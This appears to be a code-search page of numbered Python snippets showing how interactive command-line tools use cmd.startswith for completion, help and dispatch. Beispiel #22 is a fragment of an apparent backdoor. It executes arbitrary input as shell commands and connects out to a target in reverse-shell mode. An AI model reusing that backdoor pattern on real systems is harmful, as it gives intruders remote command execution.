Beispiel #1
0
 def completenames(self, text, line, *ignored):
     """ This method overrides the original completenames method to overload
     it's output with the command available in the 'allowed' variable
     This is useful when typing 'tab-tab' in the command prompt
     """
     commands = self.conf['allowed']
     commands.append('help')
     if line.startswith('./'):
         return [cmd[2:] for cmd in commands if cmd.startswith('./%s'
                                                               % text)]
     else:
         return [cmd for cmd in commands if cmd.startswith(text)]
Beispiel #2
0
 def completenames(self, text, *ignored):
     """Return all commands starting with `text`, for tab-completion."""
     names = self.get_names()
     first = [cmd for cmd in names if cmd.startswith(text.replace("_", "."))]
     if first:
         return first
     return [cmd for cmd in names if cmd.partition(".")[2].startswith(text)]
Beispiel #3
0
 def run_command(self, module, cmd, params):
     """
     run a module command with given parameters
     """
     try:
         mod = self.modules[module]
     except (AttributeError, KeyError):
         if module in self.excluded_errs:
             for err_msg in self.excluded_errs[module]:
                 logger.error(err_msg)
             return -1
         else:
             logger.error("no module '{}' loaded".format(module))
             return -1
     # if the module does not return any methods (returned None)
     # we simply call the module's name method
     if not mod[1]:
         if params is not None:
             params.insert(0, cmd)
         cmd = mod[0].__module__
         if cmd.startswith("opensipscli.modules."):
             cmd = cmd[20:]
     elif not cmd and '' not in mod[1]:
         logger.error(
             "module '{}' expects the following commands: {}".format(
                 module, ", ".join(mod[1])))
         return -1
     elif cmd and not cmd in mod[1]:
         logger.error("no command '{}' in module '{}'".format(cmd, module))
         return -1
     logger.debug("running command '{}' '{}'".format(cmd, params))
     return mod[0].__invoke__(cmd, params)
Beispiel #4
0
 def replace_alias(self, cmd):
     """check if alias exists and if so, replace command"""
     for alias in self.conf.alias:
         if cmd.startswith(alias) and \
                 (len(cmd) == len(alias) or cmd[len(alias)] == " "):
             cmd = cmd.replace(alias, self.conf.alias[alias], 1)
     return cmd
Beispiel #5
0
 def complete_iface(self, text, line, begidx, endidx):
     if not text:
         completions = self.__iface__[:]
     else:
         completions = [
             cmd for cmd in self.__iface__ if cmd.startswith(text)]
     return completions
Beispiel #6
0
    def onecmd(self, line):
        """Interpret the argument as though it had been typed in response
        to the prompt.

        This may be overridden, but should not normally need to be;
        see the precmd() and postcmd() methods for useful execution hooks.
        The return value is a flag indicating whether interpretation of
        commands by the interpreter should stop.

        """
        cmd, arg, line = self.parseline(line)
        if not line:
            return self.emptyline()
        if cmd is None:
            return self.default(line)
        self.lastcmd = line
        if line == 'EOF' :
            #self.lastcmd = ''
            raise EOFError()
        if cmd == '':
            return self.default(line)
        # Support all commands but also command replacement
        if cmd.startswith(':') or cmd in ('ls', 'cd'):
            try:
                func = getattr(self, 'do_' + cmd.lstrip(':'))
            except AttributeError:
                return self.default(line)
            return func(arg)
        else:
            return self.default(line)
Beispiel #7
0
def complete(text, state):
    for cmd in COMMANDS:
        if cmd.startswith(text):
            if not state:
                return cmd
            else:
                state -=1
    return (glob.glob(text+'*')+[None])[state]
Beispiel #8
0
 def complete_iface(self, text, line, begidx, endidx):
     if not text:
         completions = self.__iface__[:]
     else:
         completions = [
             cmd for cmd in self.__iface__ if cmd.startswith(text)
         ]
     return completions
Beispiel #9
0
def complete(text, state):
    for cmd in COMMANDS:
        if cmd.startswith(text):
            if not state:
                return cmd
            else:
                state -= 1
    return (glob.glob(text + '*') + [None])[state]
Beispiel #10
0
 def completenames(self, text, *ignored):
     """Return all commands starting with `text`, for tab-completion."""
     names = self.get_names()
     first = [cmd for cmd in names
              if cmd.startswith(text.replace('_', '.'))]
     if first:
         return first
     return [cmd for cmd in names
             if cmd.partition('.')[2].startswith(text)]
 def complete_delete(self, text, line, begidx, endidx):
     """Complete on actions and names of notes"""
     if begidx == len("delete "):
         return [cmd for cmd in ["post", "comment ", "note "] if cmd.startswith(text)]
     if begidx == len("delete note "):
         notes = self.get_notes()
         return [note for note in notes if note.startswith(text)]
     if begidx == len("delete comment "):
         numbers = [str(n + 1) for n in range(len(self.post.comments))]
         return [s for s in numbers if s.startswith(text)]
Beispiel #12
0
	def do_help(self,args):
		rargs='do_'+args
		if args and rargs in dir(self) and hasattr(self.__getattribute__(rargs),'__doc__'):
			if self.__getattribute__(rargs).__doc__:
				for line in self.__getattribute__(rargs).__doc__.splitlines():
					print(line.strip())
		elif args and not rargs in dir(self):
			print('Command "{}" does not exists'.format(args))
		else:
			for cmd in dir(self):
				if cmd.startswith('do_') and hasattr(self.__getattribute__(cmd),'__doc__'):
					if self.__getattribute__(cmd).__doc__:
						print(cmd[3:]+':',self.__getattribute__(cmd).__doc__)
Beispiel #13
0
 def print_topics(self, header, cmds, cmdlen, maxcol):
     if cmds == ['help']:
         return
     if cmds:
         self.stdout.write("%s\n"%str(header))
         if self.ruler:
             self.stdout.write("%s\n"%str(self.ruler * len(header)))
         newcmds = []
         for cmd in cmds:
             if cmd.startswith('_'):
                 newcmds.append('.' + cmd[1:])
             else:
                 newcmds.append(cmd)
         self.columnize(newcmds, maxcol-1)
         self.stdout.write("\n")
Beispiel #14
0
 def print_topics(self, header, cmds, cmdlen, maxcol):
     if cmds == ['help']:
         return
     if cmds:
         self.stdout.write("%s\n" % str(header))
         if self.ruler:
             self.stdout.write("%s\n" % str(self.ruler * len(header)))
         newcmds = []
         for cmd in cmds:
             if cmd.startswith('_'):
                 newcmds.append('.' + cmd[1:])
             else:
                 newcmds.append(cmd)
         self.columnize(newcmds, maxcol - 1)
         self.stdout.write("\n")
Beispiel #15
0
def _parseFirstArg(cmd):
    cmd = cmd.strip()
    if cmd.startswith('"'):
        # The .replace() is to ensure it does not mistakenly find the
        # second '"' in, say (escaped quote):
        #           "C:\foo\"bar" arg1 arg2
        idx = cmd.replace('\\"', 'XX').find('"', 1)
        if idx == -1:
            raise WinIntegError("Malformed command: %r" % cmd)
        first, rest = cmd[1:idx], cmd[idx+1:]
        rest = rest.lstrip()
    else:
        if ' ' in cmd:
            first, rest = cmd.split(' ', 1)
        else:
            first, rest = cmd, ""
    return first
Beispiel #16
0
def _parseFirstArg(cmd):
    cmd = cmd.strip()
    if cmd.startswith('"'):
        # The .replace() is to ensure it does not mistakenly find the
        # second '"' in, say (escaped quote):
        #           "C:\foo\"bar" arg1 arg2
        idx = cmd.replace('\\"', 'XX').find('"', 1)
        if idx == -1:
            raise WinIntegError("Malformed command: %r" % cmd)
        first, rest = cmd[1:idx], cmd[idx+1:]
        rest = rest.lstrip()
    else:
        if ' ' in cmd:
            first, rest = cmd.split(' ', 1)
        else:
            first, rest = cmd, ""
    return first
Beispiel #17
0
    def precmd(self,
               line,
               max_commands_to_print_header=1,
               command_index_to_print_from=1):

        lines = None

        try:
            lines = self.clean_line(line)

            if not lines:  # allow empty lines
                return ""
        except Exception as e:
            logger.error(e)
            return ""

        for line in lines:
            if line[0] in self.commands:
                return " ".join(line)

            if len(lines) > max_commands_to_print_header:
                if len(line) > 1 and any(
                        cmd.startswith(line[0])
                        for cmd in MULTILEVEL_COMMANDS):
                    index = command_index_to_print_from
                else:
                    # If single level command then print from first index. For example: health, features, grep etc.
                    index = 0

                print "\n~~~ %s%s%s ~~~" % (terminal.bold(), ' '.join(
                    line[index:]), terminal.reset())

            sys.stdout.write(terminal.reset())
            try:
                response = self.ctrl.execute(line)
                if response == "EXIT":
                    return "exit"
            except Exception as e:
                logger.error(e)
        return ""  # line was handled by execute
Beispiel #18
0
 def getcmds(self):
     """return list of do_* commands defined for this object"""
     # Inheritance says we have to look in class and
     # base classes; order is not important.
     cmdDict = {} # use dictionary to eliminate duplicates
     classes = [self.__class__]
     while classes:
         aclass = classes[0]
         if aclass.__bases__:
             classes = classes + list(aclass.__bases__)
         for cmd in dir(aclass):
             cmdDict[cmd] = 1
         del classes[0]
     cmds = cmdDict.keys()
     # remove non-do_*() methods
     doCmds = []
     for cmd in cmds:
         if cmd.startswith("do_"):
             doCmds.append(cmd)
     # sort and return
     doCmds.sort()
     return doCmds
Beispiel #19
0
 def do_help(self, arg):
     """Show help for commands
     Usage: help <command> [<argument>]
     """
     if not arg:
         self.do_help('help')
         for (name, command) in self.commands.iteritems():
             self.io.put('#{BLUE}%s#{NONE}' % name)
             for cmd in dir(command):
                 if cmd.startswith(self.method_prefix):
                     cmd_name = cmd[len(self.method_prefix):]
                     helptext = getattr(command, cmd).__doc__ \
                             or 'no documentation'
                     helptext = helptext.replace('\n', ' ')
                     helptext = re.sub('\s{2,}', ' ', helptext)
                     self.io.put(' #{BOLD}%s#{NONE} - %s' % \
                             (cmd_name.ljust(16), helptext))
     else:
         doc = self.get_help(arg)
         if doc:
             self.io.put("%s" % doc)
         else:
             self.io.put("No help found.")
Beispiel #20
0
 def run_command(self, module, cmd, params):
     try:
         mod = self.modules[module]
     except (AttributeError, KeyError):
         logger.error("no module '{}' loaded".format(module))
         return -1
     # if the module dones not return any methods (returned None)
     # we simply call the module's name method
     if not mod[1]:
         if params is not None:
             params.insert(0, cmd)
         cmd = mod[0].__module__
         if cmd.startswith("opensipscli.modules."):
             cmd = cmd[20:]
     elif not cmd:
         logger.error(
             "module '{}' expects to run one of {} commands".format(
                 module, ", ".join(mod[1])))
         return -1
     elif not cmd in mod[1]:
         logger.error("no command '{}' in module '{}'".format(cmd, module))
         return -1
     logger.debug("running command '{}' '{}'".format(cmd, params))
     return mod[0].__invoke__(cmd, params)
 def complete_cmd(self, text, line, begidx, endidx):
     if text:
         return [cmd for cmd in self.commands if cmd.startswith(text)]
     else:
         return [cmd for cmd in self.commands]
Beispiel #22
0
        def do_exit(self,args):
                """exit session"""
                return False
        def do_help(self,args):
                """Out of Order"""
                return "use bd_help"
        def do_exec(self,args):
                return os.system(args)
        def default(self,args):
                return subprocess.Popen(args,shell=True,stdout=subprocess.PIPE,stderr=subprocess.STDOUT).stdout.read().strip()
#END commands
 
#BEGIN genearte cmdlist
bdcmd.cmdlist=[]
for cmd in dir(bdcmd):
        if cmd.startswith("do_"):
                bdcmd.cmdlist.append(cmd.replace('do_',""))
#END generate cmdlist
 
#BEGIN main loop
while 1:
        if mode=="bind":
                sock,addr=bsock.accept()
        if mode=="reverse":
                connected=False
                while not connected:
                        try:
                                sock=socket.socket()
                                sock.connect((revtarget,port))
                                connected=True
                        except socket.error as e:
Beispiel #23
0
    def install(self, config):

        if config['--dryrun']:
            print('cd /opt')
        else:
            os.chdir('/opt')

        if self.SOURCE:
            source = self.SOURCE
            if source.find('.git') >= 0:
                sources = source.split(' ')
                if len(sources) > 1:
                    source = sources[0]
                    srcDir = sources[1]
                else:
                    srcDir = source.split('/')
                    srcDir = srcDir[-1].replace('.git','')
            else:
                srcDir = source.split('/')[-1].rsplit('.')[1]
            srcDir = self.get_source(config, source, srcDir)
            if not config['--dryrun']:
                print("Starting installation of "+self.NAME+' in '+srcDir)

        self.RC = 0
        for cmd in self.COMMANDS:
            if cmd.startswith('cd '):
                if config['--dryrun']:
                    print(cmd)
                else:
                    self.RC = os.chdir(cmd.replace('cd ',''))
                    if self.RC:
                        print("FAIL: '"+cmd+"' returned RC="+self.RC)
                        break
            elif cmd.startswith('mkdir '):
                if config['--dryrun']:
                    print(cmd)
                else:
                    dirs = cmd.split(' ')
                    dirs.pop(0)
                    for nDir in dirs:
                        if os.path.isdir(nDir):
                            shutil.rmtree(nDir)
                        os.mkdir(nDir)
            elif cmd.startswith('export '):
                if config['--dryrun']:
                    print(cmd)
                else:
                    exports = cmd.split(' ')
                    exports.pop(0)
                    for export in exports:
                        key,val = export.split('=')
                        os.environ[key] = val
            elif cmd.startswith('install-'):
                cmd = os.getenv('MINING_ROOT','/opt/mining')+'/install/'+cmd
                if config['--dryrun']:
                    print(cmd)
                else:
                    os.system(cmd)
            elif cmd.startswith('ln '):
                if config['--dryrun']:
                    print(cmd)
                else:
                    parms = cmd.split(' ')
                    if os.path.lexists(parms[3]):
                        os.remove(parms[3])
                    os.symlink(parms[2], parms[3])
            else:
                if config['--dryrun']:
                    print(cmd)
                else:
                    self.RC = os.system(cmd)
                    if self.RC:
                        print("FAIL: '"+cmd+"' returned RC="+str(self.RC))
                        break
        #[ -n "$RUN_ALL_TESTS" ] && ./ccminer --algo=neoscrypt --benchmark
        if self.RC != 0:
            with open('/etc/profile.d/'+self.NAME+'.sh','a+') as fh:
                fh.write("export INSTALL_"+self.NAME.upper().replace('-','_')+"_DONE=`date --utc +%Y-%m-%dT%H-%M-%SZ`\n")
            if not config['--dryrun']:
                print("Finished installation of "+self.NAME)
            print("Exiting due to errors, RC="+str(self.RC))
            sys.exit(self.RC)

        return 0
Beispiel #24
0
def main(argv):
    # Parse command line arguments
    parser = commonUtils.MainCmdArgParser(APC_HOME, 'Console arguments.',
                                          'console')
    parser.add_argument('--cmd', help="Execute a single command in batch mode")
    parser.add_argument('-f',
                        '--filename',
                        help="Execute all cmds inside the file")
    parser.add_argument('-i',
                        '--interactive',
                        type=bool,
                        default=True,
                        help="Interactive mode")
    parser.add_argument('-n', '--name', help="APC client-id")
    args = parser.parse_args()

    if not args:
        print parser.errmsg
        sys.exit(1)

    endPoints = commonUtils.ApiEndpointBuilder(APC_HOME, args.api_proto,
                                               args.api_ipcpath, args.api_host,
                                               args.api_port)

    if args.name:
        APC_ENDPOINT = endPoints.getClientEndpoint('APC_ENDPOINT_PATH',
                                                   args.name)
        APC_LOG_ENDPOINT = endPoints.getClientEndpoint('APC_LOG_ENDPOINT_PATH',
                                                       args.name)
    else:
        # if there is only one APC running, connec to it
        numApcRunning = 0
        apcInfo = []
        for proc in psutil.process_iter():
            try:
                pInfo = proc.as_dict(attrs=['pid', 'name', 'cmdline'])
                if pInfo['name'] == 'apc':
                    numApcRunning = numApcRunning + 1
                    apcInfo = pInfo
            except psutil.NoSuchProcess:
                pass
        if numApcRunning == 0:
            print "APC is not running, please use apcctl to start APC then try again."
            sys.exit(1)
        elif numApcRunning == 1:
            try:
                location = apcInfo['cmdline'].index('--client-id')
                # the APC client-id value is the next
                APCName = apcInfo['cmdline'][location + 1]
                APC_ENDPOINT = endPoints.getClientEndpoint(
                    'APC_ENDPOINT_PATH', APCName)
                APC_LOG_ENDPOINT = endPoints.getClientEndpoint(
                    'APC_LOG_ENDPOINT_PATH', APCName)
            except ValueError:
                print "APC is running without client-id, please check."
                sys.exit(1)
        else:
            print "{0} APCs are running, don't know which one to connect to. Please retry with -n option.".format(
                numApcRunning)
            sys.exit(1)

    ctx = zmq.Context()

    # Print BANNER
    print BANNER

    # apc RPC client
    apc = ApcClient(ctx, APC_ENDPOINT)

    rpcClientsDic = {APC_CLIENT_NAME: apc}

    # Notification listeners
    log_console = NoSecLogConsole(ctx, "logListener", APC_LOG_ENDPOINT,
                                  rpcClientsDic[APC_CLIENT_NAME])
    listenersDic = {'logListener': log_console}

    commander = CommandLineHandler(rpcClientsDic, listenersDic)

    if args.cmd:
        l = commander.precmd(args.cmd)
        r = commander.onecmd(l)
        r = commander.postcmd(r, l)
        if not args.interactive:
            #To unsubscribe listeners(stop threads).
            commander.unsubscribeAllListeners()

    elif args.filename:
        try:
            fd = open(args.filename, 'r')
            printInfo('Loading commands from {0}'.format(args.filename))
            for cmd in fd:
                cmd = cmd.strip()
                if cmd.startswith('#'):
                    continue
                printInfo('exec: {0}'.format(cmd))
                l = commander.precmd(cmd)
                r = commander.onecmd(l)
                r = commander.postcmd(r, l)
            fd.close()
        except IOError as exc:
            printError("FILE_NOT_FOUND", str(exc))

        if not args.interactive:
            #To unsubscribe listeners(stop threads).
            commander.unsubscribeAllListeners()
    else:
        try:
            commander.cmdloop()
        except:
            print "Command failed, please check if APC is running"

    # Close listeners and RPC clients
    log_console.close()